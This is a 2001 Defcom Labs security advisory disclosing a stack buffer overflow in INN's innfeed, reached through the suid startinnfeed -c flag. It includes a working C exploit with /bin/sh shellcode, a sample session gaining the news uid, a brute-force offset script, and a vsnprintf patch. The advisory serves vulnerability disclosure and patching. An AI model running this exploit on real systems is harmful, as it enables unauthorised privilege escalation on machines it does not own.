======================================================================
                 Defcom Labs Advisory def-2001-19

                innfeed buffer overflow

Author: Enrique A. Sanchez Montellano <@defcom.com>
Author: Alex Hernandez <alex.hernandez@defcom.com>
Release Date: 2001-04-18
======================================================================
------------------------=[Brief Description]=-------------------------
innfeed is a program that implements the NNTP protocol for transerring
news between computers.

Due to no bounds checking on the innfeed program a buffer overflow
occurs while using the -c flag, thus rendering complete control
of the stack. And rendering news uid and gid.

------------------------=[Affected Systems]=--------------------------
Linux:
   Slackware 7.1 and older versions.
   Mandrake 7.0 and older versions.
   RedHat 7.2 and older versions.

----------------------=[Detailed Description]=------------------------
Due to no bounds checking on the logOrPrint() function on the vsprint()
a stack overflow occurs thus rendering the stack. The user then is able
to gain news id, in wich he can the trojan binaries to gain further
access to upgrade his priviledges.

Users trusted to group id can gain further access to news uid thus
gaining owner priviledges on the files and being able to trojan them
in some cases. And if root runs those binaries a root compromise might
be posible.

Offending code:
---------------

vsprintf (buffer,fmt,ap) ;

Example of exploitation:
------------------------

nahual@shell:~$ ls -al /usr/lib/news/bin/innfeed
-r-xr-x---   1 news     news       213124 Jun 14  2000 
/usr/lib/news/bin/innfeed*
nahual@shell:~$ ls -al /usr/lib/news/bin/startinnfeed
-r-sr-x---   1 root     news        40796 Jun 14  2000 
/usr/lib/news/bin/startinnfeed*
nahual@shell:~$ id
uid=1001(nahual) gid=100(users) groups=100(users),13(news)
nahual@shell:~$ ./x-innfeed
[ + ] innfeed buffer overflow (passed to startinnfeed) [ + ]
------------------------------------------------------------
[ + ] Found by:

[ + ] Alex Hernandez (alex.hernandez@defcom.com)
[ + ] Enrique Sanchez (@defcom.com ... Yes is just @defcom.com)
[ + ] Defcom Labs @ Spain ....
[ + ] Coded by Enrique A. Sanchez Montellano (El Nahual)

[ + ] Using address 0xbffff9e4
[ + ] Starting exploitation ...

bash$ id
uid=9(news) gid=13(news) groups=100(users),13(news)
bash$
----

Proof of concept code:
----------------------

--- x-startinnfeed.c ---
/*
  x-innfeed.c

  Buffer overflow in innfeed being called from startinnfeed renders 
uid(news) gid(news), startinnfeed is suid root so I have to also check 
if I can manage to get root out of this ....

  Enrique A. Sanchez Montellano
  (@defcom.com ... Yes is only @defcom.com)
*/

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>

#define OFFSET  0
#define ALIGN   0
#define BUFFER  470

// MANDRAKE, REDHAT, etc....

#ifdef REDHAT
/* optimized shellcode ;) (got rid of 2 bytes from aleph1's) */
//static char shellcode[]=
//"\xeb\x15\x5b\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x31\xd2\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh";
char shellcode[] = "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /*setuid(0) */
             "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
             "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
             "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

#endif

#ifdef SLACKWARE
/* optimized shellcode for slackware 7.0 (non setuid(getuid()) shell) */
static char shellcode[]=
"\xeb\x15\x5b\x89\x5b\x0b\x31\xc0\x88\x43\x0a\x89\x43\x0f\xb0\x0b\x8d\x4b\x0b\x31\xd2\xcd\x80\xe8\xe6\xff\xff\xff/bin/bash1";
#endif

unsigned long get_sp(void) {
  __asm__("movl %esp, %eax");
}

void usage(char *name) {
  printf("Usage: %s <offset> <align> <buffer>\n", name);
  printf("Defcom Labs @ Spain ...\n");
  printf("Enrique A. Sanchez Montellano (@defcom.com)\n");
  exit(0);
}

int main(int argc, char **argv) {
  char *code;
  int offset = OFFSET;
  int align = ALIGN;
  int buffer = BUFFER;
  unsigned long addr;
  int i;

  if(argc > 1) offset = atoi(argv[1]);
  if(argc > 2) align = atoi(argv[2]);
  if(argc > 3) buffer = atoi(argv[3]);

  code = (char *)malloc(buffer);

  printf("[ + ] innfeed buffer overflow (passed to startinnfeed) [ + ]\n");
  printf("------------------------------------------------------------\n");
  printf("[ + ] Found by: \n\n[ + ] Alex Hernandez 
(alex.hernandez@defcom.com) \n[ + ] Enrique Sanchez (@defcom.com ... Yes 
is just @defcom.com)\n");
  printf("[ + ] Defcom Labs @ Spain ....\n");
  printf("[ + ] Coded by Enrique A. Sanchez Montellano (El Nahual)\n\n");

  addr = get_sp() - offset;

  printf("[ + ] Using address 0x%x\n", addr);

  for(i = 0; i <= buffer; i += 4) {
   *(long *)&code[i] = 0x90909090;
  }

  *(long *)&code[buffer - 4] = addr;
  *(long *)&code[buffer - 8] = addr;

  memcpy(code + buffer - strlen(shellcode) -8 - align, shellcode, 
strlen(shellcode));

  printf("[ + ] Starting exploitation ... \n\n");

  // REDHAT, MANDRAKE ...
#ifdef REDHAT
  execl("/usr/bin/startinnfeed", "/usr/bin/startinnfeed", "-c", code, NULL);
#endif

  // SLACKWARE
#ifdef SLACKWARE
  execl("/usr/lib/news/bin/startinnfeed", 
"/usr/lib/news/bin/startinnfeed", "-c", code, NULL);
#endif

  return 0;
}

--- x-startinnfeed.c ---

--- brute.sh ---
#!/bin/ksh
L=-2000
O=40
while [ $L -lt 12000 ]
do
echo $L
L=`expr $L + 1`
./x-startinnfeed $L 
done
--- brute.sh ---

---------------------------=[Workaround]=-----------------------------
Defcom has issued a patch for the vulnerability:

---innfeed-overflow.patch---
210c210
<       vsprintf (buffer,fmt,ap) ;
---
 >       vsnprintf (buffer,512,fmt,ap) ;
---innfeed-overflow.patch---

The recomended action is to upgrade to version 2.3.1 wich is not
vulnerable to this attack due that you have to be news to execute the
script.

root should not run any of this commands as an administrative task
trusted users should do this.

-------------------------=[Vendor Response]=--------------------------
inn-bugs, Katshiro Kondou, and Russ Allbery responded in a fast
and swift way, answering questions.

Thank you to him and all the INN team for their time and responses.
======================================================================
        This release was brought to you by Defcom Labs @ Spain

             labs@defcom.com             www.defcom.com           
======================================================================